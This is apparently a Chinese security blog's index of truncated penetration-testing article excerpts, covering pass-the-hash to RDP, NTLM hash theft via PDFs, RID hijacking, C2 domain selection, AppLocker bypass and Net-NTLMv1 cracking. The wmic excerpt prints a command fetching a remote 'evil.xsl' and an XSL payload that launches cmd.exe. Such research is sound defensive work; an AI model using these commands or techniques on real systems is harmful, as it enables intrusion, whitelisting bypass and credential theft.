Good in study, attitude and health

  • 渗透技巧——Pass the Hash with Remote Desktop(Restricted Admin mode)

    0x00 前言 在渗透测试中,如果获得了某个用户的NTLM hash,我们可以尝试使用Pass the hash的方法对WMI和SMB服务进行登录,对于远程桌面服务同样可以进行利用。 本文将要介绍开启Restricted Admin mode时,使用Pass the hash对远程桌面进行登录的方法 关于Pass the hash的利用可参考之前的文章: 《域渗透——Pass The Hash的实现》 0x01 简介 本文将要介绍以下内容: Restricted Admin mode介绍 Pass the Hash with Remote Desktop(Restricted Admin mode)的实现方法 0x02 Restricted Admin mode简介 官方说明: https://blogs.technet.microsoft.com/kfalde/2013/08/14/restricted-admin-mode-for-rdp-in-windows-8-1-2012-r2/ 本节参照官方说明,加入个人理解,如果有误,欢迎纠正 Restricted Admin mode,直译为受限管理模式,主要功能是使得凭据不会暴露在目标系统中 适用系统 Windows 8.1和Windows Server 2012 R2默认支持该功能 Windows 7和Windows Server...

  • 渗透技巧——利用PDF文件获取Net-NTLM hash

    0x00 前言 今年4月,来自CheckPoint的Assaf Baharav公开了一个方法,利用PDF文件的正常功能够窃取Windows系统的NTLM Hash。 具体的说,当用户使用PDF阅读器打开一份恶意的PDF文档,该PDF会向远程SMB服务器发出请求,如果该远程SMB服务器对数据包进行抓取,就能够获得用户Windows系统的Net NTLM Hash,通过进一步破解就有可能获得用户系统的明文密码。 然而Microsoft、Adobe和FoxIT对此没有进行针对性的修复。 这个利用方法成功的条件有哪些?没有修复的原因又是什么呢? 本文将要站在技术研究的角度进行介绍 0x01 简介 本文将要介绍以下内容: 原理和利用思路 测试POC,生成一个恶意PDF文件 分析PDF文件格式 编写脚本实现修改正常PDF文件 开源代码 0x02 原理和利用思路 参考资料: https://research.checkpoint.com/ntlm-credentials-theft-via-pdf-files/ 原理 PDF规范允许为GoTobe和GoToR条目加载远程内容 直观的理解: PDF文件可以添加一项功能,请求远程SMB服务器的文件 而我们知道,Windows系统下SMB协议有一个特性:客户端在连接SMB服务器时,默认先使用本机的用户名和密码hash尝试登录,通信协议默认为Net-NTLMv1或者Net-NTLMv2 工具Hashcat提供了字典和暴力破解两种方法来还原Net-NTLMv1和Net-NTLMv2协议中的明文密码 只要在SMB服务器上进行抓包,提取关键数据,就能够获得Hashcat需要的参数,尝试破解 抓包可选择WireShark,对获得的pcap包进行解析,提取关键数据。如果使用Responder可自动提取出关键数据。 之前写过的相关文章: 《Windows下的密码hash——NTLM hash和Net-NTLM hash介绍》 《渗透技巧——利用netsh抓取连接文件服务器的NTLMv2 Hash》 《渗透技巧——利用图标文件获取连接文件服务器的NTLMv2 Hash》 《Windows下的密码hash——Net-NTLMv1介绍》 类似的利用思路: 可参考以下文章: https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/ 介绍了多种文件格式的利用方法 利用思路 构造一份特殊的PDF文档,请求SMB服务器的一份文件 在SMB服务器上抓包 用户使用PDF阅读器打开PDF文档时,Windows系统将当前用户的Net NTLM Hash发送到SMB服务器...

  • 渗透技巧——Windows帐户的RID Hijacking

    0x00 前言 在之前的文章《渗透技巧——Windows系统的帐户隐藏》介绍过利用帐户克隆建立隐藏帐户的技巧,是通过复制目标帐户对应注册表项F键的值,使得隐藏帐户获得了相同的权限。 如果换一种思路,将目标帐户对应注册表项F键的部分内容覆盖已有帐户,那么已有帐户能否获得目标帐户的权限呢? 这就是本文将要介绍的方法——RID Hijacking 注: 该方法最早公开于2017年12月,地址如下: http://csl.com.co/rid-hijacking/ 0x01 简介 本文将要介绍以下内容: RID劫持的方法 编写脚本的实现思路 利用分析 防御检测 0x02 相关概念 SID 全称Security Identifiers(安全标识符),是Windows系统用于唯一标识用户或组的可变长度结构 官方说明地址: https://msdn.microsoft.com/en-us//library/windows/desktop/aa379594(v=vs.85).aspx SID包含以下信息: The revision level of the SID structure 48-bit identifier authority value relative identifier (RID) 实例 Windows命令行执行whoami /all可获得当前用户的SID,如下图 SID为: S-1-5-21-2752016420-1571072424-526487797-1001 S表示该字符串是SID 1表示SID的版本号 5-21-2752016420-1571072424-526487797对应ID authority 1001表示RID RID Windows系统帐户对应固定的RID:...

  • 渗透基础——选择一个合适的C2域名

    0x00 前言 在渗透测试中,常常需要选择一个合适的域名作为c2服务器,那么什么样的域名才能称之为”合适”呢? expireddomains.net也许能够给你一些思路。 通过expireddomains.net能够查询到最近过期或删除的域名,更重要的是它提供了关键词搜索功能。 本文将要测试过期域名自动化搜索工具CatMyFish,分析原理,修正其中的bug,使用python编写一个爬虫,获得所有搜索结果。 0x01 简介 本文将要介绍以下内容: 测试过期域名自动化搜索工具CatMyFish 分析原理修正CatMyFish中的bug 爬虫开发思路和实现细节 开源python实现的爬虫代码 0x02 测试过期域名自动化搜索工具CatMyFish 下载地址: https://github.com/Mr-Un1k0d3r/CatMyFish 主要实现流程 用户输入关键词 脚本将搜索请求发送到expireddomains.net进行查询 获得域名列表 脚本将域名发送到Symantec BlueCoat进行查询 获取每个域名的类别 expireddomains.net地址: https://www.expireddomains.net/ Symantec BlueCoat地址: https://sitereview.bluecoat.com/ 实际测试 需要安装python库beautifulsoup4 pip install beautifulsoup4 尝试搜索关键词microsoft,脚本报错,如下图 脚本对结果的解析出现了问题 于是,按照CatMyFish的实现思路自己编写脚本测试一下 访问expireddomains.net查询关键词microsoft,代码如下: import urllib import urllib2 from bs4 import BeautifulSoup url = "https://www.expireddomains.net/domain-name-search/?q=microsoft" req...

  • 利用wmic调用xsl文件的分析与利用

    0x00 前言 Casey Smith@subTee在博客分享的一个技巧,使用wmic能够从本地或从URL调用XSL(可扩展样式表语言)脚本。这个发现很有用,不仅可以作为一种白名单绕过的方法,而且可以作为payload来使用(从URL调用XSL脚本,利用XSL执行exe、shellcode、powershell脚本)。 本文将要对该项技术进行测试,结合自己的经验对其扩展,分享一个后门利用的思路,介绍同XXE漏洞结合的使用方法。 博客地址: https://subt0x11.blogspot.ca/2018/04/wmicexe-whitelisting-bypass-hacking.html?m=1 0x01 简介 本文将要介绍以下内容: 测试Casey Smith的方法 脚本分析,分析后门利用思路 编写后门利用脚本 同XXE漏洞的结合 0x02 测试Casey Smith的方法 本地: wmic process list /FORMAT:evil.xsl 远程: wmic os get /FORMAT:"https://example.com/evil.xsl" xsl文件内容如下: <?xml version='1.0'?> <stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0"> <output method="text"/> <ms:script implements-prefix="user" language="JScript"> <![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe"); ]]> </ms:script> </stylesheet>...

  • CIA Hive Beacon Infrastructure复现2——使用Apache mod_rewrite实现https流量分发

    0x00 前言 上篇文章介绍了使用Apache的mod_rewrite模块来实现http流量分发,本文将在此基础上介绍https的流量分发,对客户端的证书进行判断,若证书有效,才会将流量转发至真实服务器。 0x01 简介 本文将要介绍以下内容: Windows系统下配置Apache开启ssl Ubuntu系统下配置Apache开启ssl 使用openssl生成证书的方法和难点 Apache Https双向认证的配置 实现https流量分发的过程 0x02 Windows系统下配置Apache开启ssl 1、下载包含openssl的Apache 地址: http://httpd.apache.org/download.cgi 选择需要的版本,测试版本Apache 2.4.33,下载地址: https://www.apachehaus.com/cgi-bin/download.plx?dli=wUWZ1allWW00kej9iUG5UeJVlUGRVYRdnWzQmW 2、安装 解压后通过命令行安装: cd \Apace24\bin httpd -k install 3、配置httpd.conf 位于\Apace24\conf\httpd.conf (1) 定位: #LoadModule ssl_module modules/mod_ssl.so 去掉# (2) 定位: <IfModule ssl_module> Include conf/extra/httpd-ahssl.conf SSLRandomSeed startup builtin SSLRandomSeed connect builtin </IfModule> 将Include conf/extra/httpd-ahssl.conf改为Include...

  • CIA Hive Beacon Infrastructure复现1——使用Apache mod_rewrite实现http流量分发

    0x00 前言 2017年11月9日维基解密公布一个代号为Vault8的文档,包含服务器远程控制工具Hive的源代码和开发文档。开发文档中的框架图显示Hive支持流量分发功能,若流量有效,转发至Honeycomb服务器,若流量存在问题,转发至Cover Server。 本文仅站在技术研究的角度,尝试使用Apache的mod_rewrite模块实现http流量分发,完成相同的目标。 标记后的框架图如下: 之前的分析文章: 《CIA Hive测试指南——源代码获取与简要分析》 0x01 简介 本文将要介绍以下内容: Windows系统下安装配置Apache mod_rewrite Ubuntu系统下安装配置Apache mod_rewrite 规则配置技巧与实例 根据判定条件实现http流量分发 0x02 Windows系统下安装配置Apache mod_rewrite 1、下载Apache 地址: http://httpd.apache.org/download.cgi 选择需要的版本,测试版本Apache 2.4.33,下载地址: https://www.apachehaus.com/cgi-bin/download.plx?dli=wUWZ1allWW00kej9iUG5UeJVlUGRVYRdnWzQmW 2、安装 解压后通过命令行安装: cd \Apace24\bin httpd -k install 3、开启mod_rewrite模块 编辑文件: \Apace24\conf\httpd.conf 找到#LoadModule rewrite_module modules/mod_rewrite.so,去掉# 4、开启支持.htaccess文件 编辑文件: \Apace24\conf\httpd.conf 定位如下位置: DocumentRoot "${SRVROOT}/htdocs" <Directory "${SRVROOT}/htdocs"> # #...

  • 利用Assembly Load & LoadFile绕过Applocker的分析总结

    0x00 前言 最近bohops在文章《Executing Commands and Bypassing AppLocker with PowerShell Diagnostic Scripts》中介绍了利用CL_LoadAssembly.ps1绕过Applocker的方法,Casey Smith早在SchmooCon 2015也提到了这个方法。本文将要对他们的两个实现方法进行复现,分析细节,比较区别,进而总结利用思路。 0x01 简介 本文将要介绍以下内容: 复现bohops的方法 复现Casey Smith的方法 细节分析 总结利用思路 0x02 复现bohops的方法 测试系统: Win7 x86 开启Applocker,开启方法可参考文章《Bypass Windows AppLocker》 开发工具: VS2012 1、新建c#控制台工程ConsoleApplication5,默认代码如下: using System; using System.Collections.Generic; using System.Text; namespace ConsoleApplication5 { class Program { static void Main(string[] args) { }...

  • 渗透技巧——Windows远程协助的隐蔽执行

    0x00 前言 对于Windows系统,经常会用到远程桌面服务,通过界面对系统进行远程管理。 这其中存在一个不足:使用远程桌面服务进行远程登录(使用另一用户或是踢掉当前用户),无法获取到当前用户的系统状态。 如果想要查看(甚至是操作)当前用户的桌面,有什么好办法呢? 虽然我们可以通过编写程序来实现界面操作(捕获桌面信息,压缩传输,发送鼠标键盘消息等),但是如果能够使用Windows系统的默认功能,岂不是更好? 答案就是Windows系统的远程协助。 0x01 简介 本文将要介绍以下内容: 远程协助的基本操作 命令行下操作 编写c++程序隐藏界面,发送键盘消息,模拟用户点击确认 完整利用流程 检测方法 0x02 远程协助的基本操作 1、开启远程协助功能 System Properties -> Remote 选中Allow Remote Assistance connections to this computer 如下图 2、添加防火墙规则,允许远程协助的通信端口 Windows Firewall -> Allowed Programs 选中Remote Assistance 如下图 3、启动界面程序 运行 -> msra.exe 4、配置本机为服务端,请求其他人协助 选中Invite someone you trust to help...

  • Windows下的密码hash——Net-NTLMv1介绍

    0x00 前言 在之前的文章《Windows下的密码hash——NTLM hash和Net-NTLM hash介绍》分别对NTLM hash和Net-NTLMv2 hash做了介绍,对于Net-NTLMv2的上一个版本Net-NTLMv1,在安全性上相对来说更脆弱,具体脆弱在哪里呢?本文将要进行介绍 0x01 简介 本文将要介绍以下内容: Net-NTLMv1的加密方法 Net-NTLMv1的破解思路 Net-NTLMv1的利用思路 0x02 Net-NTLMv1的加密方法 对比Net-NTLMv2,Net-NTLMv2的加密流程如下: 客户端向服务器发送一个请求 服务器接收到请求后,生成一个16位的Challenge,发送回客户端 客户端接收到Challenge后,使用登录用户的密码hash对Challenge加密,作为response发送给服务器 服务器校验response Net-NTLMv1的加密流程如下: 客户端向服务器发送一个请求 服务器接收到请求后,生成一个8位的Challenge,发送回客户端 客户端接收到Challenge后,使用登录用户的密码hash对Challenge加密,作为response发送给服务器 服务器校验response 两者的流程相同,但加密算法不同,Net-NTLMv1相对脆弱 Net-NTLMv1 response的计算方法比较简单,方法如下(目前LM hash很少接触,不考虑): 将用户的NTLM hash分成三组,每组7比特(长度不够末尾填0),作为3DES加密算法的三组密钥,加密Server发来的Challenge 详情可参考: http://davenport.sourceforge.net/ntlm.html#theNtlmResponse 0x03 Net-NTLMv1的破解思路 1、捕获Net-NTLMv1数据包,提取关键数据,使用hashcat进行字典破解 服务器: 系统: Server2008 x64 IP: 192.168.62.144 登录用户名: log1 登录密码: logtest123! 客户端: 系统: Win7 x64...